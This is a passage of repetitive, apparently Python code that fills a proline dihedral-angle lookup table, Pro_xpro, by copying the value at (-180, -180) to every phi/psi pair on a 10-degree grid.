Pro_xpro[(30, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(40, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(50, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(60, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(70, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(80, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(90, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(100, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(110, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(120, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(130, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(140, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(150, 110)]=Pro_xpro[(-180, -180)]
